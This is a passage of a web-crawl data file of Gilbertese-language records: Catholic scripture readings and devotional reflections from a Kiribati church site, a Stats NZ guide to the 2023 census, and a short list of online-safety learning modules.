Atua nakoira i bukin ara bakatibu ngke a aki ira nanon te boki aei ma n aki karaoa ane koreaki iai.\" Ao e kaoia unimanen Iuta ma Ierutarem te uea, ao e waerake nakon ana Temboro te Uea ma aomatani Iuta ma kaini Ierutarem ao berebitero ma burabeti ao te koraki ni bane, aika mangori ma aika kakanato. Ao e wareka i mataia kanoani bokin te berita are kuneaki n ana temboro te Uea. E tei te uea i rarikin te boua, ao e karaoa te berita i matan te Uea ba e na kawakin ana moti, ana baire ma ana tua, ma nanona ni kabanea ao tamneina ni kabanea, ba e na kakoroa bukin te berita are makoro n te boki arei. Ao a bane te koraki ni kariaia te berita anne.\nTe Taramo 119: 33-37, 40\nKaekana: Te Uea, reireiai am tua.\nReireiai kawakin am moti, ba N na toua n tai nako,\nTuangai arou ni kawakina am tua, Ao N na kabanea nanou n taua. K\nKairai i nanoni kawain am tua, Ba bon anne kabaiau.\nKaira nanou nakon am baire, Ao tiaki nakoni karekan arou. K\nKawakini matau mani baika akea maneia, Kamaiuai n am taeka.\nNoria, I barua am tua, Kamaiuai n am eti. K\nAlleluia, alleluia.\nKo angan aonaba taekan te maiu, Ba ko raneanea i aona n ai aron otan taiani itoi. Alleluia\nWarekan ana Euangkerio Mataio. 7: 15-20\nE kangai Iesu nakoia ana reirei: \"Kawakiningkami mairouia burabeti ni kewe: a baka n tiibu i matami, ao i nanoia boni kameanti aika kakang. Kam na kinaia ni uaia. Tao a anaki kurebe man akanta? ke biku mani kai aika kateketeke? E kariki ua aika raraoi te aroka nako ae raoiroi, ao e kariki ua aika bubuaka te aroka nako ae raoiroi, ao e kariki ua aika bubuaka te aroka ae buakaka. E aki kona ni kariki ua aika bubuaka te aroka ae raoiroi, ao e aki kona ni kariki ua aika raraoi te aroka ae buakaka. Te aroka nako ae a aki raraoi uana, ao e koreaki ma n tewenakoaki n te ai. Ma ngaia ae kam na kinaia ni uaia.\nTibatiba: Kawakina ao maiuakina ana moti, ana baire ma ana tua te Uea ao E na kakoroa bukin ana Berita nakoim\n- Details\n- Written by Uriam Timiti\n-\nWiki 11 Kanimabong\nWarekan te kauoua ni Boki ae taekaia Uea. 11: 1-4, 9-18, 20.\nNgke e noria ba e mate natina te mane, neiere Ataria ae tinan Akatia, ao e kamateia ana kariki te uea ni kabaneia. Ma e kamaiuaki Ioati ae natin Akatia, ba e anaki mai buakoia natin te uea n aia tai ni kamateaki. E uotia nako neiere Ieotieba, are natin te uea ae Ioram ao manen Akatia. E karinna n te tabo ni wene ma te tia tobaia. E karabaki iai mai matan Ataria, ao e aki mate. Onoua ana ririki ni karabaki irouni Ieotieba i nanon ana Temboro te Atua, ngke e uea Ataria i aon te aba.\nN te kaitiua n ririki, ao e tua Ieoiata ba ana roko irouna ana mataniwi ni bubua Karaite ma mataniwia tan tantani, ao e karinia i nanon te Temoboro. E karaoa te berita ma ngaia ao e tuangia ba a na taetae n tuea i nanon te Temboro, ao e kaota natin te uea nakoia. A ira nanon Ieoiata ae te berebitero mataniwi ni bubua ni bai ni kabane. A kairia aia oamata ake a bane aia tei n te Tabati, ao a kawara te berebitero ae Ieoiata; ao ngaia e angania ana kabang ma ana otanga te uea are Tawita, ake a mena i nanon ana Temboro te Atua. A bairea nneia tan tantani, ao a tei ma aia kai ni buaka i nanoni baia, man te maninganinga are mai maiaki ni karokoa are i meang ri rarikin te baonikarea ma te Temboro, ao a katobibia te uea. E kaotinakoa te uea Ieoiata, ao e katoka ana baunea ma ni kainikinaean ueana. A kaueaa ma ni kabiria, ao e uboubo ma n takarua ni kangai: \"E na mauri te Uea!\" Ngke ongo takaruaia te koraki Ataria, ao e nako ni kawaria i nanon te Temoboro; ao e taratara nako, ao e nora te uea ba e tei i aon te bao, n ai aroni kateina, ao e i rarikina mataniwi ma tani katangi bu, ao ai kain aonteaba ake a kimareirei ma ni katang aia bu. Ao e raeuai kunnikaina Ataria, ao e takarua ni kangai: \"Bon te kamane, bon te kamane!\" Ao e tuatua te berebitero ae Ieoiata ni kangai nakoia mataniwin te tanga: \"Kairia nako, ao kaotinakoa. Ngkana iai ae rimuina, ao kamatea.\" Ba e aki tangira te berebitero ba e na kamateaki i nanon ana Temboro te Atua. A katikia nakon ana auti te uea; ao ngke e a roko n aia tabo aoti n rin, ao kamatea iai.\nAo e karaoa te berita Ieoiata i marenan te Atua ma te koraki, ba ana riki ba ana botanaomata te Atua; ao te berita naba i marenan te uea ma ana botanaomata. A bane kain aonteaba n nakon umani Baara ae te anti, ao a urua, ao kabakai baonikareana ma tamenina, ao kamatea Matan ae ana ibonga Baara i matan te baonikarea.\nAo e kateia tan tantani te berebitero, ba a na teiakina ana Temboro te Atua. A bane ni kukurei kain aonteaba, ba e rau te kawa, ngke a tia ni kamatea Ataria n ana tabo te uea.\nTe Taramo 132: 11-14, 17-18\nKaekana: Mwengan te Uea Tion are Erineia.\nE taetae n tuea te Uea nakon Tawita, e na aki bitaki ana taeka:\n\"Bon am kariki ae N na kateia, i aon am kaintokanuea.\" K.\nNgkana a kawakina au berita, ma au tua are I angania,\nAo a na aki toki naba aia kariki, n tekateka n am kantokanuea. K.\nBa E rinea Tion te Uea, E tangiria ba mwengana.\n\"Bon au tabo ni motirawa n aki toki, Boni mwengau ae I tangiria.\" K.\nN na karikirakea iai korakoran Tawita, N na kaura tauran au aomata ae kabiraki\nN na rabunia aiana n te maneang, ma e na raneanea bauna n uea. K.\nAlleluia, alleluia.\nTe Uea, kauki nanora, n ongora n ana taeka Natim. Alleluia.\nEuangkerio\nWarekan ana Euangkerio Mataio.. 6: 19-23\nE kangai Iesu nakoia ana reirei: \"Tai kaikoi ami kaubai i aon te aba, ike a kangi bai iai te koa ma te ino ao a urubai ma n ira iai tani ira. Ma kaikoi ami kaubai i karawa, ike a aki kangi bai iai te koa ma te ino ao a aki urubai ma ni ira iai tani ira. Ba ike e mena iai am bai ae kakawaki, ao e mena naba iai nanom. Tauran rabatam, boni matam. Ma ngaia ae ngkana e raoiroi matam, ao e bane n ota rabatam. Ma ngkana e aoraki matam, ao e bane n ro rabatam. Ma ngaia ae ngkana bon te ro te ota ae i nanom, ao ai bati ra te ro!\"\nTibatiba: Tai kaikoi ami kaubai i aon te aba, ike a kangi bai iai te koa ma te ino","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira","date":"2023-01-28T20:34:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499654.54\/warc\/CC-MAIN-20230128184907-20230128214907-00597.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2489,"character_repetition_ratio":0.046,"word_repetition_ratio":0.024,"special_characters_ratio":0.234,"stopwords_ratio":0.396,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te Wareaomata ibukin 2023 2023 Census information in Kiribati\nReireiniko bwa ko aonga n ataia bwa tera te wareaomata, tera bukina ngkai e karaoaki, ao ko na kanga ni karaoia.\nTe Wareaomata ibukin 2023 2023 Census information in Kiribati\nReireiniko bwa ko aonga n ataia bwa tera te wareaomata, tera bukina ngkai e karaoaki, ao ko na kanga ni karaoia.\nTera te wareaomata What is the census\nTe wareaomata bon te mwakuri ni kakae ae e kakaraoaki ni katoa nimaua te ririki. A warekaki ao a tauaki mwia aomata ni kabane i aon Aotearoa Nutiran, ao n taabo ake a maeka ke a mena iai (mwengaia nako).\nE na karaoaki te wareaomata n te Kauabong, 7 ni Maati 2023.\nE ibuobuoki te wareaomata ni kaotaia aomata aron taian bitaki i aon Aotearoa Nutiran. E ibuobuoki naba nakon te tautaeka ao rabwata nako ni mwakuri i aon karaoan babaire ibukin karaoan buoka nakoia aomata ma taian community, n aron te onaoraki, taabo n reirei ao ai baao ni mwamwananga.\nAntai aika a na riai ni karaoa te wareaomata Who needs to do the census\nA riai ni karaoa te wareaomata aomata ni kabane aika a mena i aon Aotearoa Nutiran n tain te wareaomata, n te Kauabong 7 ni Maati 2023. N aroia:\n- kain Nutiran (citizens)\n- koraki aika a kona ni maeka i aon Nutiran (New Zealand permanent residents)\n- koraki aika a maeka i aon Nutiran ma bon kain aaba tabeua\n- Irua ma i abatera aika a mena i aon Nutiran\nKo na bon riai naba ni karaoa te wareaomata ngkana:\n- ko maeka n te tabo ae tiaki te auti\n- ko mena n te onaoraki\n- akea am address ke am tabo ni maeka\n- ko mwananga ke ko mwakuri i aon Nutiran.\nTera baika ko na titirakinaki n te wareaomata What you are asked in the census\nN te wareaomata ao titiraki a na kaineti nakoim, mwengam (te tabo ae ko maeka ke ko mena iai), ao aomata aika a mamaeka ke a memena iroum ni mwengam.\nA na bane n ikotaki rongorongo aika ti karekei ma iroum, ma rongorongoia aomata nako bwa a aonga n reke rongorongo ni kabane aika a kainanoaki ibukin taabo ma taian community i aon Aotearoa Nutiran.\nStats NZ e na kawakina raoi rongorongom ma kinakim. Ti na taraia raoi bwa ko na bon aki kona ni kinaki man rongorongo aika ti katanoatai ke ni kanakoi ibukin taian kaongora.\nTi aki kona n tibwai am reke ma aomata tabeman. N ikotaki ma rabwatan nako te tautaeka n aron te Ministry for Social Development, Kainga Ora, NZ Police, ke Inland Revenue.\nE na kanga n reke iroum te boma ibukin te wareaomata How you will get your census forms\nStats NZ e na kanakoa nakoim rongorongon te wareaomata ma aron karaoana.\n- N tabeua aonon Nutiran, ao e na iai te tia mwakuri n te wareaomata ae e na kawariko n anganiko te boma ae te beba ao te reta ae kanoana te access code ibukin karaoan te wareaomata i online.\n- N tabeua aonon Nutiran, e na ti kanakoaki te reta ae kanoana te access code nakon taian mwenga ibukin karaoan te wareaomata i online.\nKo kona ni karaoa te wareaomata i online ke i aon te beba You can do the census online or on paper\nTera ae e roko ni mwengam ibukin te wareaomata, ko kona n rinea nanom bwa ko na karaoia i online ke i aon te boma ae te beba.\nNgkana e aki roko ni mwengam te boma ae te beba, ko kona n otanna ma iroura n akea bona.\nUoua te taetae ae e kabonganaki ibukin te wareaomata i online ke i aon te boma ae te beba bwa te taetae n Imatang ao te taetae n Māori\/Imatang. Iai naba te boma ae te beba n te taetae n Imatang ae a bubura korean maniia.\nOtanakin taian boma ae taian beba\nTe tareboon ae e aki kaboaki: 0800 CENSUS (0800 236 787)\nN ningai ae ko na kanoa iai te boma ibukin te wareaomata When to complete your census forms\nKo kona ni kanoa te boma ibukin te wareaomata n te tai are e roko iai iroum. Kataia karaoia n tain ke imwain te wareaomata n te Kauabong, 7 ni Maati 2023.\nNgkana ko kanoa te boma ibukin te wareaomata, kanoaia n te tabo are ko mena iai n tairikin te Kauabong, 7 ni Maati 2023.\nKo kona naba ni kanoaia imwin tian te wareaomata.\nKo na kanga ni kanoa te boma ibukin te wareaomata How to complete your census forms\nIai uoua taian boma ibukin te wareaomata.\n- Teuana bon ibukin mwengam. E aranaki aio bwa te Dwelling Form (Boma Ibukin Te Mwenga). Ti temanna te aomata man mwengam ae e na riai ni kanoa te boma aio. Ngkana ko maeka ma tabeman, rineia bwa antai ae e na karaoa te itera aio.\n- Are teuana bon ibukim. E aranaki aio bwa te Individual Form (Boma Ibukin Temanna Te Aomata). E na kanoaki te boma aio irouia aomata ni kabane aika a maeka n te mwenga. Tabemi kaaro bwa kam na kanoa te boma aio ibukia ami ataei ke natimi, n ikotaki ma aika a uarereke.\n- te bwai ae e kona ni katomako ma te internet, n aron te smartphone, kaombiuta, ke te tablet\n- e na iai am internet\n- Te access code ae e a tia ni katauaki ibukin mwengam, e na reke i aon te reta ibukin te wareaomata.\n- Kauka am internet browser i aon am smartphone, tablet, ke am kaombiuta.\n- Taibina www.census.govt.nz ao nakon ana website te wareaomata.\n- Kotea te bwatin ae e kangai 'Start your census'.\n- Karina ana access code mwengam.\n- Kotea te bwatin ae 'Start'.\n- Ti temanna te aomata man mwengam ae e na kanoa te Household Setup Form. E riai ni kanoaki moa aio.\n- Ti temanna man mwengam ae e na kanoa te Dwelling Form (Boma Ibukin Te Mwenga).\n- E na kanoaki te boma ae te Individual Form (Boma Ibukin Temanna Te Aomata) irouia aomata ni kabane aika a maeka ni mwengam.\n- kotea te bwatin ae 'Submit' ngkana ko a tia ni kanoai ni kabane taian boma\n- tai kaina ke n refresh taian page ngkana ko kanoa te boma\n- tai kamotirawa kanoakin te boma n te maan ae e riaon 20 te miniti.\n- te Household Setup Form\n- te Dwelling Form (Boma Ibukin Te Mwenga)\n- te Individual Form (Boma Ibukin Temanna Te Aomata) ibukia aomata ni kabane aika a maeka ni mwengam.\n- kabongana te kai ni koroboki ae e roro ke e buruu tanena\n- koroboki n te MAN NI KOROBOKI AE E BUBURA\n- korea am reke ke am kaeka n te taetae n Imatang ke te taetae n Māori\n- noori taian Kaetieti (Guide Notes) ibukin buokam.\n- am Dwelling Form (Boma Ibukin Te Mwenga)\n- te Individual Form (Boma Ibukin Temanna Te Aomata) ibukia aomata ni kabane aika a maeka ni mwengam.\nNgkana ko na karaoa te wareaomata i online, ko na kainanoi baikai:\nTe access code are e a tia ni katauaki ibukin mwengam\nAm access code e kona ni kuneaki i aon te reta ibukin te wareaomata ao te code aio bon 12 mwaitina bwa taian nambwa ae a irengan ma taian man ni koroboki.\nE ti kona ni kabonganaki irouia aomata aika a maeka ke a mena ni mwengam.\nNgkana e bua am access code, ko kona ni manga bubuti karekean teuana ma iroura.\nTe tareboon ae e aki kaboaki: 0800 CENSUS (0800 236 787)\nBubuti karekean te access code i online.\nAron karekean te boma i online\nIra nanon taian kaetieti aikai ibukin karekean te boma i online.\nKo a kona ngkanne ni karekea te boma ibukin te wareaomata ibukin mwengam.\nKanoakin am boma i online\nI online ao iai te kateniua ni boma, ae te Household Setup Form. Aio ibukin kamatoan am address ao araia aomata aika kain mwengam.\nNgkana ko a tia ni kanoa am boma ibukin te wareaomata i online:\nKo ataia bwa e a tia karaoan te wareaomata 2023 i online ngkana mwengam e a tia ni kanakoa:\nKanoakin am boma ae te beba\nNgkana ko kanoa am boma ae te beba:\nKaokakin am boma ae te beba\nE na reke iroum te tinaniku n reta ae akea boona ae raon am boma ae te beba.\nAre nanona bwa ngkana ko a tia ni kanoai ni kabane am boma ae te beba, ko kona ni merinna nakon Stats NZ n akea boona. E aki naba kainanoa te titambwa bwa ko na kanimwa n te tinaniku.\nTuoia raoi bwa a boni babane n rinnako taian boma i nanon te tinaniku imwain ae ko kanakoa. Taiaoka kaokia nakon Stats NZ:\nKo kona naba n tuangira bwa e na roko kawarakim ibukin anakin am boma.\nTe tareboon ae e aki kaboaki: 0800 CENSUS (0800 236 787)\nKo na kanga ni karekea buokam ni kanoan te boma ibukin te wareaomata How to get help to complete your census forms\nNgkana ko kainanoa buokam ibukin kanoan te boma ibukin te wareaomata, ko kona ni butia te aomata ae ko onimakinna n aron:\n- raoraom\n- kain am utu\n- te tia rikoi taian boma ni wareaomata.\nKo kona n tarebonia te tabo ni wareaomata n aia nambwa n ibuobuoki ae e aki kaboaki i aon 0800 CENSUS (0800 236 787)\nKo kona naba n titirakina ae e kona n taetae n:\n- Māori\n- Samoa\n- Tonga\n- Mandarin\n- Cantonese\n- Korea\n- Hindi\n- Punjabi.\nai te ibuobuoki ae ti na karaoia ngaira kain te tiim ni wareaomata n aono aika a kakaokoro bwa buokaia aomata ni karaoa te wareaomata.\nRongorongom ao aron kawakinaia Your information and privacy\nTi kawakin raoi baika ko korei bwa am reke. Ti karaoa aio n ira nanon te tua ma te kaetieti, ao aaro ni katantan aika a bati aroia. Akea ae e kona ni kinako ke n atai am reke ni kaineti ma titiraki ibukin te wareaomata ngkana ti a kaotinakoa rongorongon te wareaomata.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.census.govt.nz\/kiribati\/","date":"2023-05-28T06:37:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224643585.23\/warc\/CC-MAIN-20230528051321-20230528081321-00009.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1612,"character_repetition_ratio":0.101,"word_repetition_ratio":0.042,"special_characters_ratio":0.231,"stopwords_ratio":0.367,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Country: Kiribati\nLearning Module\nKamanoam n te Online\nE ngae ngke e kaunga te reirei, te reitaki ao te ibuoka ni bwai iaon te online, iai naba kangabuaka ae ko kona n aitara a ngaai.\nLearning Module\nAron te Reitaki ae Tamaroa n te Online\nKarineaia aomata n te aonaaba n digital e kona n rangin kanganga nakon are n bon te reitaki raoi nte aonaaba.\nLearning Module\nKateimatoaan Kamanoakim n te Online\nE kakawaki bwa ko na kawakin am online information ao am account mairouia aomata bwa a na aki kimoai ke n kabonganai.\nLearning Module\nIango Imwain ae Ko Share\nNi katoa te tai are ko share te post, te tamnei ke te comment, iangoa aron tein bannam ma kinakim iai irouia omata- ke atakin bwaai aika ko ribai atakiia.\nLearning Module\nI Digital\nN aron te aonaba aei ae mwaiti tuua iaon bwaai aika ko kona ao n aki kona n karaoi, ai bon aekakin naba te online ae iai naba tuua iai.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/wethinkdigital.fb.com\/pc\/en-us\/pccountry\/kiribati-kiribati\/page\/2\/","date":"2023-05-29T18:46:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224644907.31\/warc\/CC-MAIN-20230529173312-20230529203312-00668.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":166,"character_repetition_ratio":0.099,"word_repetition_ratio":0.0,"special_characters_ratio":0.202,"stopwords_ratio":0.361,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kanan Tamneira...\n- Details\n- Written by Taranieta\n-\nBon ara rairannano, ara tangira ma kabaneakin nanora ao ngaira ni bane, ni bai nako ake ti karaoi ae e tangiria te Atua ba ti na uotirake n tainako nakoina ibukin kamaiuakiia raora, n te burikatorio ao ngaira ni bane. Ngkana tiaki karaoa aio ti na tiku naba n te burikatorio?\nA maiti ara anganano ake ti kona n ibuobuoki iai nakoia kain te burikatorio ma teuana bon anganakin te Atua marakira ma te nano ae e kororaoi mantangira ba buokaia.\nInanon karaoan ara makuri aika a raraoi ibukin te Uea ibukia ara utu ke ara botaki, ara makuri ao raora nako ao e kona n roko iroura te barannano, te bainrang, te iango are akea uaan ara makuri, te un te maku ao a maiti riki buakanakin nanora ake bon ana buaka teuare e buakaka ba tina katukui ara waki aikana a raoiroi aikanne ba e nang kakiriwea te waki ao e na aki rikirake te raoiroi man reke te kamaiuaki nakoira ni bane.\nAikai ara tai ni katongnga te burikatorio iaon te aba ake E kataui Iesu ba ara tai naba ni buokia tarira ao manera n te burikatorio ngkana ti keiaki inanon ara tangira, n teimatoa irarikina ma Tinana Nei Maria n angannai rawawata aikai ba buokan kabaraakia tarira ao manera nako man te burikatorio.\nN ara tai ni komunio ma Ngaia ae ara Tangira, Atuara ao ara Uea ao ti a kakorakoraaki ni M'akana ao ti kimareirei n ana Tangira ba ti a botaki ma Atuara. Ti a reitaki n ara tangira, ti a maroro ma Ngaia ibukia naba. Ti a bua inanon Ana Tangira Tamara ae te Atua ao ti anga ngaira nakoina. Aio are aikoa kona n reke irouia kain te Burikatorio.\nE aki tangiria naba te Atua ba ti na raroa ma Ngaia ni kabanea ara tai n te Burikatorio ba ti ataia ba nanona E tangirira irarikina n tokin kawaira ao akea riki.\nMa ngaia are ti na butia te Atua, Tamneina ae e Raoiroi ba e na buokira ni karikirakeira n te maiu ae e tabu ba ti na kona buokia ni koaua tarira ao manera n te burikatorio ao bon ngaira ni bane ba ti na katongnga kimarereina n tokin kawaira.\n- Details\n- Written by Taranieta\n-\nE kakawaki te bong aio ba te Moan Kanimabong, ti neboa iai ana Tangira Iesu ao ana Toa Tinara Nei Maria Uean te Rotario.\nIai ana rongorongo Tinara Nei Maria nakoira ni katoa bong ae ti na ongo ngkana ti tei ni kakauongo. E tuangiria ba ti na botaki ma ngaia n tainako inanon ana Tangira Natina ae Iesu iaon te aba n akea ae bua mai irouna.\nAnne bukin ae e raonira n tainako ni maiura ao n te umantabu, n neboneboa ao n taromauria te Atua. Anne ana tai are e rangi n ingainga iai ba ti na butimaia nako nanora ma Natina n ara komunio ke ti na aki. E kaantaninga ba ti na kaomataa n reita naba nanora ma ngaia ke ti na aki ba are e a roko inanora ngkai ti teuana Atinibanna ma Natina ae Iesu. Ngkana ti butimaeia ao e na bon kakororaoa reitakin nanora ma Atiniban natina Iesu, ao ti na namakina te botaki ni koaua ma Atuara ni kimareireina ma mimitongina n tainako.\nNgaira tiina, ai bon ti tebo naba aron ingaingan nanora aikai ibukia natira. Te kabanea n tamaroa ae ti tangiria ba e na reke irouia ni bai nako.\nE aki babaranano Tinara Nei Maria ao inanon raonakira irouna ao e kakauringira, ba ti na maiuakina te rairannano, te tataro ao te maiu ni penetenia ba buokara n ara borau ao buokaia tarira ma manera n uan ara makuri ma nanoraoira aikanne.\nN 13 bongin te namakaina aio bon kauringan kaotina i Fatima nakoia Lucia, Jacinta ao Francisco ngke e kaota arana nakoia ba 'Uean te Rotario\".\nE tuangia ba ti riai n tataro n te Rotario ni katoa bong. Aio ana tataro ae e botaki iai ma ngaira n tainako ao n raonira ni bubutia Natina kainnanora ma tabeaiangara ni kabane. Ara rotario ake ti anaii ba ara nebonebo ma ara katituaraoi, e a bon karokoraoi riki ibukira. Bon iai bubuti mai irouia aomata ake a uoti ataei aikai nakoina n te tai arei. N titirakinana ba e na kaekai ke e naki ao e taku., \"Iai ae N na kariaia ao iai aika N na aki . A riai aomata n kaeti maiua ao n bubuti kab'araan aia bure. Aki riai ni manga kamatauningaa te Uea riki ba e a bon rangi ni matauninga.\"\nMaitira arora aika ti kakamatauninga iai te Atua?\nTi a reitira ni katoa bong n aki tarai boong aika imaira. Ti a maiuakina te bong teuana ma teuana. N te bong aei ao ti na tarai arora ni kamatauninga iai te Atua. Ti na taraia naba raora ba tera aroia ae a kamatauninga iai te Atua ao a kamatauningaira iai\nTi a bubutia Tinara Nei Maria, ngaia kaetan kawaira iaon te aba ba e na raoniira n tataro, ao n raonira ni bitii arora aika a kamatauninga te Atua.\nTi a butia naba ba e na raonira n ara bau n nanoanga, ni bubutia te Atua ba E na kaitiakira ma raora nako, man ana makuri teuare e buakaka are e tauira iai ba ti na kamatauninga te Atua. Ti a bubutia Tinara Nei Maria ba e na raonira ngkai n tataro ba e na katabuira te Atua ba ana bai ngaira ni bane, n te bong aei ao ni katoa bong.\n- Details\n- Written by Taranieta\n-\nTi nora nanon Iesu ni kan reitaki ma ngaira ni koaua n te bong aio ma Tamara are i karawa rinanon koburaken Ana Tangira man Atinibanna ae moan te Tabu.\nAio nanona are E kaotia naba nakon St Faustina are ana toa te bong aio. E kaotia ba bon Atinibanna ae e kamaiuira ao ti na ongo man aki bakataea Ana Tangira.\nNgaia Atinibanna ae E korakai n tangirira ao E a bon rawa ni kan kataua ba ti na bua, ba Ngaia kawaira n kaakatoonga kimareirein te Atua ae Tamara iaon te aba, ao ba ti aonga naba n roko i rarikina i karawa.\nIbukin tangiran reken aio iroura n tainako ao Iesu, E aki ti kataua te rawawata ae akea kabotauana ae rawawatan te Tangira, ma e kataua naba ba e na uruaki man ewaraki ibukin te Tangira naba anne n te aro ba e na bane n raanga Are bon Ngaia ae te Tangira, nakoira ni kabane ba e na teimatoa n reke iroura te kimareirei, te raoi ao te rau mai iroun Tamara are I karawa. Nanon te kamaiuaki aio bon te kona n reitaki ma te Atua ae Tamara are i Karawa, rinanon Atinibanna aio, ae Moan te Tabu ao Moan te Tangira, ni katoa minitin maiura.\nE riki iai Iesu n tainako ba te tia tei ibukira ba ti na reitaki iai ni koaua ma te Atua ae Tamara, ao n rereke korakorara ni karaoi tabera ke kabeabeanakira iroun Tamara ae te Teniman n Temanna.\nE noria Iesu ba te bai ae na kanganga iangoana iroura ngaira aika aomata.\nBa ti kona ni kangai ara kaeka, \"Akea nanona ba ai bon te bai ae te iango, e tamnei ao tiaki kona n namakinna ke n iangoia.\" Ke tao ti na kangai, \"E a kabanetai ba ti a rangi n mwengaraoi n angin bain aon te aba aio\". Ti kona naba ni kangai, \"Ae ti a ukeuke ao e na kanga n reke iroura? A bara nanora.\"\nE rangi ni bebete kaekana iroun Iesu are e kaotia nakon Sr. Faustina ba ngaia ti na ti kangai, \"Iesu, I onimakiniko!\" nakon Atinibanna, ao Ngaia, E na karaoa ke n anganira are ti kainnanoia mai Irouna. Ia riki ara tabo ae ti kona riki n namakinna iai ma ti ian waen Iesu n te Eukari!\nAna Euangkerio Ruka ae te wareboki n te bong aio, e kaokira nakon ara kanoa n te Moanibong ba E a reireinia ana Reirei Iesu aia tataro, ni kabanina te tataro are 'Tamara are i Karawa....\".\nTi kakoaua iai ba Iesu, E aki reireinia riki te tataro teuana, ma bon ti aio, ibukin tangirakira ba ti na ataa ni koaua Tamara are i Karawa, n tangiria, n karinea, n taetae ni kawai ma Ngaia, ni baebaeti nanora ma Ngaia, n iango ma Ngaia, n nanokawaki ma Ngaia, ao ni kimareirei ma Ngaia,... ba Tamara ni koaua ae e tangirira ni koaua ae ti na reitaki ni koaua ma Ngaia,....ao arora ni kona n reke anne iroura bon ti rinanon Atinibanna ae ti na onimakinna n tainako. \" Atinibaan Iesu ae moan te Tabu, I onimakiniko\".\n- Details\n- Written by Taranieta\n-\nN te bong aio ao e weteira Iesu nakon te kawai teaina nakon te Atua ae Tamara.\nKanoan taian wareboki n te bong aio a bane ni kakoaua ana wewete Iesu nakoira n te bong aio ba ti na uringnga ba bon ti Ngaia ara Toka, ara Uea ao Atuara, ao tiaki kona n toro irouia uoman ba E bon aki kariaia.\nE taku te burabeti are Maraki nakoira n te bong ba ti na aki irarang irouia ake ti taraia ba a kukurei man kakatonga ni kaubaia ae bain aon te aba ke ni karaoan te bure, ba ti na katotongia te koraki ake a m'aaka te Atua n aki kan irarang. A bon koreaki araia nakai n te boki imatan te Atua ao E roko Ana Taeka nakoia rinanon Maraki ae e kangai, \"N na nanoangaia n aiaron te karo ae nanoanga natina ao e bubuokia\".\nTi anganaki rongorongon kawai aika uaai n te Taramo n te bong aio.ma tuangira ba e a kabaia te aomata are e aki iraraang, ba e na riki n aiaron te kai, irarikin te karanga n ran, ae e kariki uaa n taina, ao a aki raarai baana: a materaoi ana makuri ni bane, ba E kaakairiia akana a raoiroi Iawe ma a matebuaka aia waki akana a buakaka!\nAo e kaota aron akoakira Ruka iroun te Atua ae Tamara: Ngkana ti ukeuke ao e na reke, ngkana ti karebwerebwe, E na ongo ao ngkana ti bubutia ao E na anganira. Ngaira karo ti ongo banaia natira n tainako. Antai te karo iroura, ae e kona n reke, boni n oin m'akana, te Tamnei ae e Raoiroi, ke ni kona n angania natina ma tibuna ke aomata nako, ba ana kariki uaa man aki raarai baia n tainako?\nA maiti baika a kona ni benaua nanora ni katoa bong ba a na n totokoa kaueaakin Atuara inanora ao anganakira te Tamnei ae Raoiroi ma katokan kainnanora ma reken korakorara n ibuobuoki. Taraakira n te kiraati ba ti a tarabuaka n moamoara, e na reke ba mamaarara n nako buakon te nebonebo ke ni kaueaa te Atua ni maiura n tibaa ana Tangira! .Ke tao taraakia ma kaaniakiia raora n te bobotaki e tei naninga ibukin nanora aika aki raraoi.\nA bon maiti riki ara iango, anuara ao ara makuri aika a kab''akekeei kawaira n aki karika Iesu ba Ngaia ara Uea, arora aika tia kaueai aika aki riai man akea nanoia ao akea uaia. Ti a butia te Atua ba e na anganira Tamneina ae e Raoiroi ba e na kaotai nanora ao n buokira ni kanakoi arora aikai, ao E na kairira inanon kawain Iesu, ae ara Uea ao Atuara n tainako.Ti neboiko Iesu.\n- Details\n- Written by Taranieta\n-\nN tainako ao ti kamaurira n te taeka ae kangai,\" Mauri tariu ao maneu n ana tangira te Uea.\"\nTi ataia iai ba bon tariu ao maneu ni koaua ngkoe ba e karikira te Atua n te aro are ti tebo arora ni kabane imatana, ao n ara kamauri aio ao ti namakina n tainako te kimareirei ae e kamimi are ti reitaki iai ni koaua ibukina ba ti mena inanon Ana kimareirei te Atua inanon Ana karikibai.\nAi kamimira aron Santo Baraniko mai Assisi are ana toa te bong aio ba e nora m'akan te Atua ao mimitongina n Ana karikibai ni kabane. Ibukina ba E karikibaai ni kabane te Atua ao ngaia anne ae e karinei bai nako aika a maiu ao aika aki maiu, ao n kaekaekaia man tangiriia ao ni karineia ni kabane, Santo Baraniko, ba 'tariu ao maneu'.\nN aron karakinana ao e kabaneaki iroun tamana iaon te aba are e tangiria ba e na maiu ni kaubai man bitineti n touamuina. Ma Baraniko, e tangira riki te Atua ao e butii ana kunikai tamana ake iaona ( e a motikia ao e a kaakea are bon ngaia) ao e a takaruaea ibuakon te botanaomata i nukan te kawa ba man te tai aio ao e a butimaea kakeaakina iroun tamana ao e a inaomata ngkai ni ira kakatongan nanona inanon te maiu ni kainnano, ae ti te tatakaruaea ae e kangai, \"TAMARA ARE I KARAWA....\"\nE nora te Atua n ana karikibai ni kabane ao e kaania Atuana ibuakon Ana karikib'ai, ao e neborake nanona n tainako n reitaki ma te Atua inanon maiuna, n te aro are e a katokaki arana n te Ekaretia ba te Santo ibukia maan ao ibukin te botanimaiu ke te eniwaeromenta.\nTariu ao maneu, ai maiura Santo Baraniko n arona ae akea katabean ana iango ba ti Tamara are i Karawa, ao e anganaki ba e na kaakatoonga kimareireina 